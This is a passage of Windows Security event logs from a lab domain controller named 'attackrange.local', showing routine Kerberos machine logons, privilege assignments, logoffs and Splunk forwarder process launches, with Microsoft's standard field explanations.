	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:12:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256302
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3E2823
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		51417

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:12:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256301
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E2823

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:12:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256300
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3E27DB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		0

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:12:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256299
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E27DB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:12:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256298
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3E26CD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51416

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:12:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256297
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E26CD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:12:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256296
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x674
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:12:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256309
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1178
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:12:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256308
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E26CD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:12:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256307
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E27DB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:12:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256306
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E2823

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:12:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256305
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3E2D40
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		51418

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:12:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256304
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E2D40

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:12:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256310
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:12:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256311
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:12:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256312
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:12:21 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256313
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E2D40

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:12:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256316
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E5316

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:12:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256315
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x3E5316
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		51428

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:12:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256314
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E5316

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:13:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256317
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x718
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:13:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256319
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4fc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:13:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256318
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x6f8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:13:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256320
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
